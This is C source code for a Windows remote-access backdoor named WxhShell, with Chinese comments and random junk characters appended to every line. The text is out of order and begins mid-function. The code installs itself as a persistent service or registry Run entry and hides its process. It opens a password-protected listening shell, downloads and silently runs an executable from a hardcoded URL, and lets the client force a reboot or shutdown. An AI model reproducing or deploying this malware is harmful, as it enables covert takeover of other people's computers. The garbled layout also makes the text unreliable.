    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F%P"T%|  
    if(Boot(SHUTDOWN)) $7" Y/9Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0nbY~j$A=  
    else { Wn2'uZ5If  
    closesocket(wsh); BMug7xl"  
    ExitThread(0); -^+fZBU;  
    } 0CO@@`~4  
    break; 9HB+4q[  
    } xpX<iT>5u  
  // 获取shell ~y{_NgMo  
  case 's': { _AzI\8m  
    CmdShell(wsh); .do8\  
    closesocket(wsh); ~[%_]/#&%z  
    ExitThread(0); ncqAof(/  
    break; oR7[[H.4  
  } /%g+|C  
  // 退出 bmu]zJ  
  case 'x': { _o[fjd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pT{is.RM  
    CloseIt(wsh); :{+~i.*  
    break; rGQ2 ve  
    } KRz~3yH{ c  
  // 离开 wx^Det  
  case 'q': { hC[ =e`j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]VL} eHZ  
    closesocket(wsh); Z_[ P7P  
    WSACleanup(); 9U8x&Z]P  
    exit(1); ,Qx]_gZ`  
    break; Idb*,l|<  
        } M287Z[  
  } ~7 `,}) d  
  } 7Xx3s@  
n]df)a  
  // 提示信息 "iTjiH)Q(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R2v9gz;W  
} !( >U3N  
  } LaO8)lqR  
a*-9n-U@[k  
  return; ,Kl:4 Tv  
} <rtKPlb//  
M!+J[q  
// shell模块句柄 9dq"x[  
int CmdShell(SOCKET sock) }4p)UX>aWT  
{ Li]bU   
STARTUPINFO si; b"WF]x|^  
ZeroMemory(&si,sizeof(si)); b"uO BB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ckMG4 3i\j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f`:GjA,J$  
PROCESS_INFORMATION ProcessInfo; -w*fS,O  
char cmdline[]="cmd"; PChew3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C7ug\_,s  
  return 0; Vm|KL3}NRv  
} G<M0KU (  
hs[x\:})/  
// 自身启动模式 -nXP<v=V  
int StartFromService(void) (P`=9+  
{ V:w%5'^3  
typedef struct ?TeozhUY  
{ b3EGtC}^  
  DWORD ExitStatus; 'y\Je7  
  DWORD PebBaseAddress; 23P&n(.  
  DWORD AffinityMask; +l^tT&s;f  
  DWORD BasePriority; 5CZyA`3V^5  
  ULONG UniqueProcessId; ]Cj@",/3#  
  ULONG InheritedFromUniqueProcessId; ?V,q&=9  
}   PROCESS_BASIC_INFORMATION; K fD. J)  
Ly&+m+Gwu  
PROCNTQSIP NtQueryInformationProcess; ;+<IWDo  
dpTsTU!\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =B9-}]DDO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5]>*0#C S  
a;t}'GQGk  
  HANDLE             hProcess; ._^}M<o L  
  PROCESS_BASIC_INFORMATION pbi; wn.~Dx  
n74\{`8]o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y92R}e\M  
  if(NULL == hInst ) return 0; +9w[/n^,G  
.ojEKu+EJ'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gYhY1Mym  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9T;4aP>6j#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lhKn&U  
/kY9z~l  
  if (!NtQueryInformationProcess) return 0; db~^Gqv6k  
[ N|X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !{g<RS( c  
  if(!hProcess) return 0; rz@q W2  
uX*2Rs$s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4~,Z 'k  
d #1Y^3n  
  CloseHandle(hProcess); H"FK(N\  
*{3d+j/?/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lG)wa  
if(hProcess==NULL) return 0; QQBh)5F  
QkBw59L7  
HMODULE hMod; E +_n@t"  
char procName[255]; Jqj!k*=/  
unsigned long cbNeeded; H:@hCO[a  
zbmC? 2$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HEBeJ2w  
q7X#LYk  
  CloseHandle(hProcess); @khFk.LBD  
x "{aO6M  
if(strstr(procName,"services")) return 1; // 以服务启动 SI=$s>1  
=0pt-FQ  
  return 0; // 注册表启动 wAKHD*M)  
} f`n4'dG  
Z^_qXerjP  
// 主模块 !?nbB2,  
int StartWxhshell(LPSTR lpCmdLine) q#tUDxf(|  
{ 5p (zhfuG  
  SOCKET wsl; _K o#36.S  
BOOL val=TRUE; V4+ |D2   
  int port=0; #RBrii-,  
  struct sockaddr_in door; v>_@D@pr  
;=y"Z^  
  if(wscfg.ws_autoins) Install(); &eHRn_st5b  
H)Btm  
port=atoi(lpCmdLine); E`.xu>Yyj  
5EFt0?G   
if(port<=0) port=wscfg.ws_port; 2#>;cn\  
hZx&j{  
  WSADATA data; |}z)>E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )A\ ZS<@Z7  
8:$h&aBI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t(u2%R4<d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VBX)xQazU  
  door.sin_family = AF_INET; 0~bUW V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e9o\qEm   
  door.sin_port = htons(port); B&]`OO>O  
}R%H?&P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qYC&0`:H  
closesocket(wsl); \baY+,Dr+  
return 1; ZwkUd-=0i  
} Cz0FA]-g  
=rA?,74  
  if(listen(wsl,2) == INVALID_SOCKET) { 4!IuTPmr  
closesocket(wsl); nGH6D2!F  
return 1; N&HI)X2&  
} AELj"=RA  
  Wxhshell(wsl); "+(|]q"W  
  WSACleanup(); N d].(_  
ubwM*P  
return 0; ev4[4T-( @  
GC')50T J  
} 2? qC8eC  
$aV62uNf  
// 以NT服务方式启动 V|8'3=Z=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mtmC,jnD  
{ <tD,Uu{P  
DWORD   status = 0; O] @E8<?^  
  DWORD   specificError = 0xfffffff; j'D%eQI,V  
WXy8<?s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "`>6M&`U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0P$1=oK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rfqwxr45h  
  serviceStatus.dwWin32ExitCode     = 0; #AJW-+1g.=  
  serviceStatus.dwServiceSpecificExitCode = 0; =I# pXL  
  serviceStatus.dwCheckPoint       = 0; YnEyL2SuU  
  serviceStatus.dwWaitHint       = 0; 'H5 30Y\  
I0m7;M7 P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gyq 6?  
  if (hServiceStatusHandle==0) return; g(@F`W[  
W'C>Fn}lO?  
status = GetLastError(); ZSuoD$~k[  
  if (status!=NO_ERROR) TxJk.c  
{ OG5{oH#K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CD&a_-'z$K  
    serviceStatus.dwCheckPoint       = 0; tu\XuDk y  
    serviceStatus.dwWaitHint       = 0; y\T$) XGV  
    serviceStatus.dwWin32ExitCode     = status; tgF~5 o}?  
    serviceStatus.dwServiceSpecificExitCode = specificError; U#z"t&o=L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0t7N yKU  
    return; p*Z<DEh#  
  } ,X|Oe@/  
0Y8gUpe3P6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G"/;Cq=t  
  serviceStatus.dwCheckPoint       = 0; K2xB%m1LK  
  serviceStatus.dwWaitHint       = 0; H8eEBMGo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %g9y m@s  
} 0z>IYw|UB  
`=(<!nXJx  
// 处理NT服务事件,比如:启动、停止 C~&E7w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gdow[x  
{ ),x0G*oebj  
switch(fdwControl) }b456J  
{ Ca~8cQ  
case SERVICE_CONTROL_STOP: ,;pUBrz/[  
  serviceStatus.dwWin32ExitCode = 0; dcf,a<K\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jr` swyg  
  serviceStatus.dwCheckPoint   = 0; !]F`qS>  
  serviceStatus.dwWaitHint     = 0; o@)Fy51DD  
  { b 7sfr!t_d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W>jKWi,{  
  } QRju9x  
  return; `y>m >j  
case SERVICE_CONTROL_PAUSE: u`XRgtI{g?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [j6]!p]S$  
  break; V D#q\  
case SERVICE_CONTROL_CONTINUE: sl$6Zv-l%0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^(q .f=I!a  
  break; QD-\'Bp/X  
case SERVICE_CONTROL_INTERROGATE: mnA_$W3~I  
  break; S)EF&S(TC  
}; <V^o.4mOg>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HM% +Y47a  
} U^_\V BAk  
bc(MN8b]j  
// 标准应用程序主函数 :W)lt28_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zf$mwRS[_  
{ :Racu;xf  
3eUi9_s+  
// 获取操作系统版本 )<QX2~m<  
OsIsNt=GetOsVer(); ~>@~U]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &b (*  
;-3&yQ7N)  
  // 从命令行安装 |sGJum&=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,a>Dv@$Y  
vv)q&,<c  
  // 下载执行文件 ;pm/nu  
if(wscfg.ws_downexe) { N^QxqQ~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LuZlGm  
  WinExec(wscfg.ws_filenam,SW_HIDE); :}NheRi  
} X!|eRA~o  
8=D,`wog  
if(!OsIsNt) { F > rr.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~7b#B XzP  
HideProc(); oaj.5hM  
StartWxhshell(lpCmdLine); : ;8L1'  
} ^|<>`i6  
else 7)U ik}0  
  if(StartFromService()) 3FvVM0l"  
  // 以服务方式启动 Fx!D:.)/G  
  StartServiceCtrlDispatcher(DispatchTable); P].Eb7I  
else k{r<S|PK0  
  // 普通方式启动 ;=joQWNDm  
  StartWxhshell(lpCmdLine); !Ge;f/@  
S:{xx`6K  
return 0; e#hg,I  
} O1\4WG%  
5@RcAQb:  
(c0L@ 8L  
*-ys}sX  
=========================================== T @^ S:K  
%f<>Kwr`2  
2=?3MXcjy  
fln[Q2zl  
e;v"d!H/  
U`[viH>K  
" _p"u~j~%-  
U?dad}7  
#include <stdio.h> `Hw][qy#  
#include <string.h> G+fo'ThG  
#include <windows.h> [Q:mq=<Z%  
#include <winsock2.h> =oVC*b  
#include <winsvc.h> a( ~X  
#include <urlmon.h> @(c^u;  
;39b.v\^  
#pragma comment (lib, "Ws2_32.lib") Hya.OW{  
#pragma comment (lib, "urlmon.lib") |fyzb=Lg  
)@9Eq|jMC  
#define MAX_USER   100 // 最大客户端连接数 "O r1 f C  
#define BUF_SOCK   200 // sock buffer gdCit-3  
#define KEY_BUFF   255 // 输入 buffer mxEe -q  
.<vXj QE  
#define REBOOT     0   // 重启 z 8M\(<  
#define SHUTDOWN   1   // 关机 n><ad*|MX  
UB+~K/  
#define DEF_PORT   5000 // 监听端口 /*;a6S8q  
'__>M>[  
#define REG_LEN     16   // 注册表键长度 \5tG>>c i  
#define SVC_LEN     80   // NT服务名长度 3XB`|\:  
t;Z9p7rk  
// 从dll定义API k>i`G5Dh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )^8[({r~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4Y'Ne2M{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #8L: .,AYE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); khjdTq\\  
-uN{28;@  
// wxhshell配置信息 6|lsG6uf  
struct WSCFG { 8g:VfzaHu  
  int ws_port;         // 监听端口 13 h,V]ak  
  char ws_passstr[REG_LEN]; // 口令 w;Azxcw  
  int ws_autoins;       // 安装标记, 1=yes 0=no %AJ9fs4/  
  char ws_regname[REG_LEN]; // 注册表键名 V5-!w0{  
  char ws_svcname[REG_LEN]; // 服务名 %7 -(c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;ZuHv {=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _1RvK? ;.{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E5A"sB   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3f$n8>mq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D5xQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CH(Y.Kj-  
M]X!D7  
}; D?%[du:V  
B#hvw'}  
// default Wxhshell configuration ?f9M59(l  
struct WSCFG wscfg={DEF_PORT, Ge({sy>X  
    "xuhuanlingzhe", &0f/F:M  
    1, &u^]YE{  
    "Wxhshell", uO]|YF  
    "Wxhshell", vn*K\,  
            "WxhShell Service", J|hVD  
    "Wrsky Windows CmdShell Service", G11KAq(  
    "Please Input Your Password: ", yp4[EqME  
  1, p& $PsgR  
  "http://www.wrsky.com/wxhshell.exe", Ohgu*5!o  
  "Wxhshell.exe" oMemF3M  
    }; UhDf6A`]  
l?IeZisX  
// 消息定义模块 94O\M RQ*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z,AY<[/C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lO|LvJyx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y+Nw>\|S  
char *msg_ws_ext="\n\rExit."; FO(QsR=\s  
char *msg_ws_end="\n\rQuit."; %5+X  
char *msg_ws_boot="\n\rReboot..."; y|+5R5}K  
char *msg_ws_poff="\n\rShutdown..."; &HLG<ISw  
char *msg_ws_down="\n\rSave to "; D1+1j:m  
L|<j/bP  
char *msg_ws_err="\n\rErr!"; b 1.S21  
char *msg_ws_ok="\n\rOK!"; L_9uwua.B~  
$DfK}CT  
char ExeFile[MAX_PATH]; x>mI$K(6M  
int nUser = 0; wQhuU  
HANDLE handles[MAX_USER]; 8mmnnf{P  
int OsIsNt; Z" H;t\P  
UAz^P6iQ`~  
SERVICE_STATUS       serviceStatus; u0<yGsEGD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |AE{rvP{@  
@D*PO-s9  
// 函数声明 #b&tNZ4!_  
int Install(void); pam9wfP  
int Uninstall(void); .3UJ*^(?  
int DownloadFile(char *sURL, SOCKET wsh); I74Rw*fB  
int Boot(int flag); h{_\ok C>  
void HideProc(void); 2o9B >f&g  
int GetOsVer(void); SJX9oVJeZ  
int Wxhshell(SOCKET wsl); `-CN\  
void TalkWithClient(void *cs); 4a& 8G  
int CmdShell(SOCKET sock); eD(5+bm  
int StartFromService(void); <z%**gP~G  
int StartWxhshell(LPSTR lpCmdLine); &-o5lrq  
lb9?Uc@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N LQ".mM+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f U=P$s  
AfhJ6cSIE  
// 数据结构和表定义 aaf}AIL.  
SERVICE_TABLE_ENTRY DispatchTable[] = V:j^!*  
{ E<tR8='F  
{wscfg.ws_svcname, NTServiceMain}, Eo ^m; p5  
{NULL, NULL} "(W;rl  
}; ha;fxM]  
Dz$w6 d  
// 自我安装 LKI\(%ba#  
int Install(void) o:cTc:l)  
{ e<{ d{  
  char svExeFile[MAX_PATH]; V,VL?J\  
  HKEY key; 9XQE5^  
  strcpy(svExeFile,ExeFile); W+u,[_  
-0q|AB<  
// 如果是win9x系统,修改注册表设为自启动 N2 3:+u<)E  
if(!OsIsNt) { A{-S )Z3}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fnr8{sr.2Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q[#8ErUY  
  RegCloseKey(key); 3f^jy(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *^g]QQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F4-rPv  
  RegCloseKey(key); stfniV  
  return 0; V&ETt.91Ft  
    } u"oO._a(  
  } 3B%7SX  
} o ~y{9Q  
else { oDD"h,Z  
!hfpa_5  
// 如果是NT以上系统,安装为系统服务 NBasf n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :+>7m  
if (schSCManager!=0) '?m2|9~  
{ ipMSMk7gx  
  SC_HANDLE schService = CreateService - |DWPU!"  
  ( RFS} !_t+|  
  schSCManager, aqk$4IG  
  wscfg.ws_svcname, Op9 ^Eu%n  
  wscfg.ws_svcdisp, re%XaL  
  SERVICE_ALL_ACCESS, Hicd -'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Q q_  
  SERVICE_AUTO_START, 6RxI9{ry  
  SERVICE_ERROR_NORMAL, f^QC4hf0  
  svExeFile, Md>C!c  
  NULL, ayn aV  
  NULL, vf>d{F^rv  
  NULL, |[5;dt_U/  
  NULL, 2 KHT!ik  
  NULL oI`Mn3N  
  ); 1;kMbl]  
  if (schService!=0) OW=3t#"7Kp  
  { g8'8"9:xC  
  CloseServiceHandle(schService); "]p&7  
  CloseServiceHandle(schSCManager); DFZ@q=ZT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w0nbL^f  
  strcat(svExeFile,wscfg.ws_svcname); ):tv V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z]%@r 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =ZU!i0 K  
  RegCloseKey(key); W\Scak>  
  return 0; `Nvhp]E  
    } BcpbS%S  
  } GwDOxH'  
  CloseServiceHandle(schSCManager); NWiDNK[VE}  
} W!.FnM5x  
} }oG6XI9  
iNi1+sm  
return 1; LzLJ6A>;R  
} ]Z\W%'q+  
_nzq(m1@  
// 自我卸载 ,MJddbcg  
int Uninstall(void) [cEGkz  
{ 9'~qA(=.?  
  HKEY key; &,PA+#  
Z>3~n  
if(!OsIsNt) { [ywF!#'){  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mi(6HMA.SF  
  RegDeleteValue(key,wscfg.ws_regname); 7=X6_AD  
  RegCloseKey(key); p(I^Y{sGI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gl w|*{$  
  RegDeleteValue(key,wscfg.ws_regname); MW +DqT.h  
  RegCloseKey(key); BHgs,  
  return 0; N#-. [9!  
  } =bJ$>Djp  
} @,Dnl v|?  
} v+sF0 j\P  
else { n{<@-6  
AIQ {^:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {U3jJ#K  
if (schSCManager!=0) {df;R|8 l  
{ xo @|;Z>&F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /{8Y,pZbu  
  if (schService!=0) @##}zku  
  { H*0g*(  
  if(DeleteService(schService)!=0) { +RpCh!KP  
  CloseServiceHandle(schService); mP15PZ  
  CloseServiceHandle(schSCManager); ?uTuO  
  return 0; fM]nP4K`  
  } G='`*_$  
  CloseServiceHandle(schService); .^F&6'h1H  
  } U{l f$  
  CloseServiceHandle(schSCManager); I;_T_m4.q  
} \j)c?1*$  
} $$4flfx  
BIx*(  
return 1; &e).l<B  
} buzpmRoN)  
'CqAjlj  
// 从指定url下载文件 RB""(<  
int DownloadFile(char *sURL, SOCKET wsh) <T.R%Jys  
{ <)O#Y76s  
  HRESULT hr; q\!"FDOl4  
char seps[]= "/"; vFLE%z{\o  
char *token; +J|LfXgB  
char *file; 5"U5^6:T  
char myURL[MAX_PATH]; /M]P&Zb |  
char myFILE[MAX_PATH]; oui0:Vy<  
BBX/&d8n  
strcpy(myURL,sURL); suhnA(T{  
  token=strtok(myURL,seps); .':17 $c`H  
  while(token!=NULL) c"`HKfL  
  { uW[AnQ1w  
    file=token; Z9% u,Cb  
  token=strtok(NULL,seps); Pk5\v0vkg  
  } >yVrIko  
^56D)A=  
GetCurrentDirectory(MAX_PATH,myFILE); ~/SLGyu  
strcat(myFILE, "\\"); d1^5r 31  
strcat(myFILE, file); ^"/TWl>jB  
  send(wsh,myFILE,strlen(myFILE),0); *CF80DJ  
send(wsh,"...",3,0); ;VCFDE{K=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g0/ R\  
  if(hr==S_OK) O7Jp ;  
return 0; AoxORPp'  
else {t0!N]'  
return 1; +dq2}gM  
'X&"(M  
} yl' IL#n]r  
5c%Fb :BW=  
// 系统电源模块 pG* W>F  
int Boot(int flag) z:dW'U?1  
{ J$jLGy&'  
  HANDLE hToken; n3/ Bs  
  TOKEN_PRIVILEGES tkp; l_ x jsu  
5 8U[IGs(  
  if(OsIsNt) { PDgZb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O6-';H:I]L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :u@ w ;  
    tkp.PrivilegeCount = 1; v,rKuvc'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /!"sPtIh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Eq,udCso  
if(flag==REBOOT) { 5|bfrc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ U8#yo  
  return 0; 9K&YHg:1  
} )r*F.m{&:  
else { 1Nv qtVC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Fl.W}?Q}  
  return 0; B~< bc  
} y?}<SnjP:  
  } a)+*Gf7?  
  else { ), VF]  
if(flag==REBOOT) { 9a1R"%Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XL1x8IB  
  return 0; VeFfkg4  
} V5jy,Qi)  
else { b|k(:b-G&.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +'[*ikxD=g  
  return 0; 11A;z[Zk  
} g6 SZ4WV  
} sFgsEKs  
8j ky-r  
return 1; X1u\si%.4S  
} &,/-<y-S  
1F2(MKOo!  
// win9x进程隐藏模块 ,MLAW  
void HideProc(void) 6TQ[2%X'  
{ vsq |m 5  
+f^|Yi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &"yoJ<L  
  if ( hKernel != NULL ) <\ ".6=E#W  
  { ^v3J ld  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !.|A}8nK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ="g9>  
    FreeLibrary(hKernel); KC<K*UHPAH  
  } 2XjH1  
8)f/H&)>8  
return; 1)-VlQK p  
} sk t9mU  
e&<=+\ul  
// 获取操作系统版本 ub4(g~E  
int GetOsVer(void) e:QH3|'y  
{ j2hp*C'^  
  OSVERSIONINFO winfo; gb^'u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  `7V'A  
  GetVersionEx(&winfo); >(Wt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [/J(E\9  
  return 1; 6*tky;  
  else 7u%OYt D E  
  return 0; \ tU[,3  
} _#<7s`i  
(gutDUO;  
// 客户端句柄模块 (. $e@k=  
int Wxhshell(SOCKET wsl) yW}x  
{ `my\59T  
  SOCKET wsh; HIlTt  
  struct sockaddr_in client; 1HRcEzA  
  DWORD myID; EhOB+Mc1  
}%,LV]rGEZ  
  while(nUser<MAX_USER) P[,  
{ T<0V ^B7  
  int nSize=sizeof(client); kh"APxQ79  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D<^K7tJui  
  if(wsh==INVALID_SOCKET) return 1; EuD$^#  
#6 $WuIG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k,/2]{#53d  
if(handles[nUser]==0) R8j\CiV17  
  closesocket(wsh); 5lE9UoG[Q  
else pf&SIG  
  nUser++; xwijCFI*  
  } '^:q|h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [5P1 pkZ  
1L _(n  
  return 0; 9@ ^*\s  
} S"Ag7i  
n1y*`5!  
// 关闭 socket 5pxw[c53#  
void CloseIt(SOCKET wsh) 1KI5tf>>p  
{ arn7<w0  
closesocket(wsh); o{MmW~/o&  
nUser--; g+ cH  
ExitThread(0); J['?ud}@  
} ].x`Fq3  
q{Gf@  
// 客户端请求句柄 IOH6h=  
void TalkWithClient(void *cs) ^ Mq8jw(2  
{ P)06<n1">Z  
%T~LK=m  
  SOCKET wsh=(SOCKET)cs; +?C7(-U>  
  char pwd[SVC_LEN]; 8wzQr2:  
  char cmd[KEY_BUFF]; wg KM6?  
char chr[1]; $"{I| UFC  
int i,j; ^cI RP  
@9h6D<?  
  while (nUser < MAX_USER) { pRh)DM#9  
e:iqv?2t  
if(wscfg.ws_passstr) { J<ZG&m362p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /h K/t;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iaQ3mk#  
  //ZeroMemory(pwd,KEY_BUFF); 2NWQiSz  
      i=0; ,mD{4 >7  
  while(i<SVC_LEN) { m)xz_Plc  
!;&{Q^}  
  // 设置超时 MZ <BCRB  
  fd_set FdRead; (L7%V !  
  struct timeval TimeOut; ID$%4jl  
  FD_ZERO(&FdRead); ,) 3Eog\-  
  FD_SET(wsh,&FdRead); 0d #jiG  
  TimeOut.tv_sec=8; EceD\}  
  TimeOut.tv_usec=0; A@ 4Oq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); axiP~t2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jsIT{a*]  
SHUn<+/e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jRSY`MU}t+  
  pwd=chr[0]; JO|xX<#:  
  if(chr[0]==0xd || chr[0]==0xa) { %`^{Hh`  
  pwd=0; sj%\lq  
  break; hXP'NS`iv  
  } o<i\1<eI  
  i++; ,V # r  
    } &v&e- |r8;  
"I^pb.3  
  // 如果是非法用户,关闭 socket "I&,':O+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PQ4)kVT  
} n~v*  
bc*CP0t|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #TG.weTC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FK`M+ j  
+dF/$+t  
while(1) { G297)MFF  
C_V5.6T!  
  ZeroMemory(cmd,KEY_BUFF); 5,K*IH  
Q`(.Blgm;  
      // 自动支持客户端 telnet标准   ?H(']3X5@  
  j=0; =s h]H$  
  while(j<KEY_BUFF) { ?89 _2W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ynG@/S6)K  
  cmd[j]=chr[0]; Mp`i@pm+  
  if(chr[0]==0xa || chr[0]==0xd) { [[vbw)u  
  cmd[j]=0; fk?(mxx"  
  break; pwr]lV$w  
  } 5s=L5]]r_j  
  j++; s %S; 9 T  
    } 'jd fUB  
C;oT0(  
  // 下载文件 'n4 iW  
  if(strstr(cmd,"http://")) { GF^ ?#Jh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >`D$Jz,  
  if(DownloadFile(cmd,wsh)) dp#'~[j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lsz)\yIPj  
  else J nf@u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SW*Y u{  
  } #H/suQZN"g  
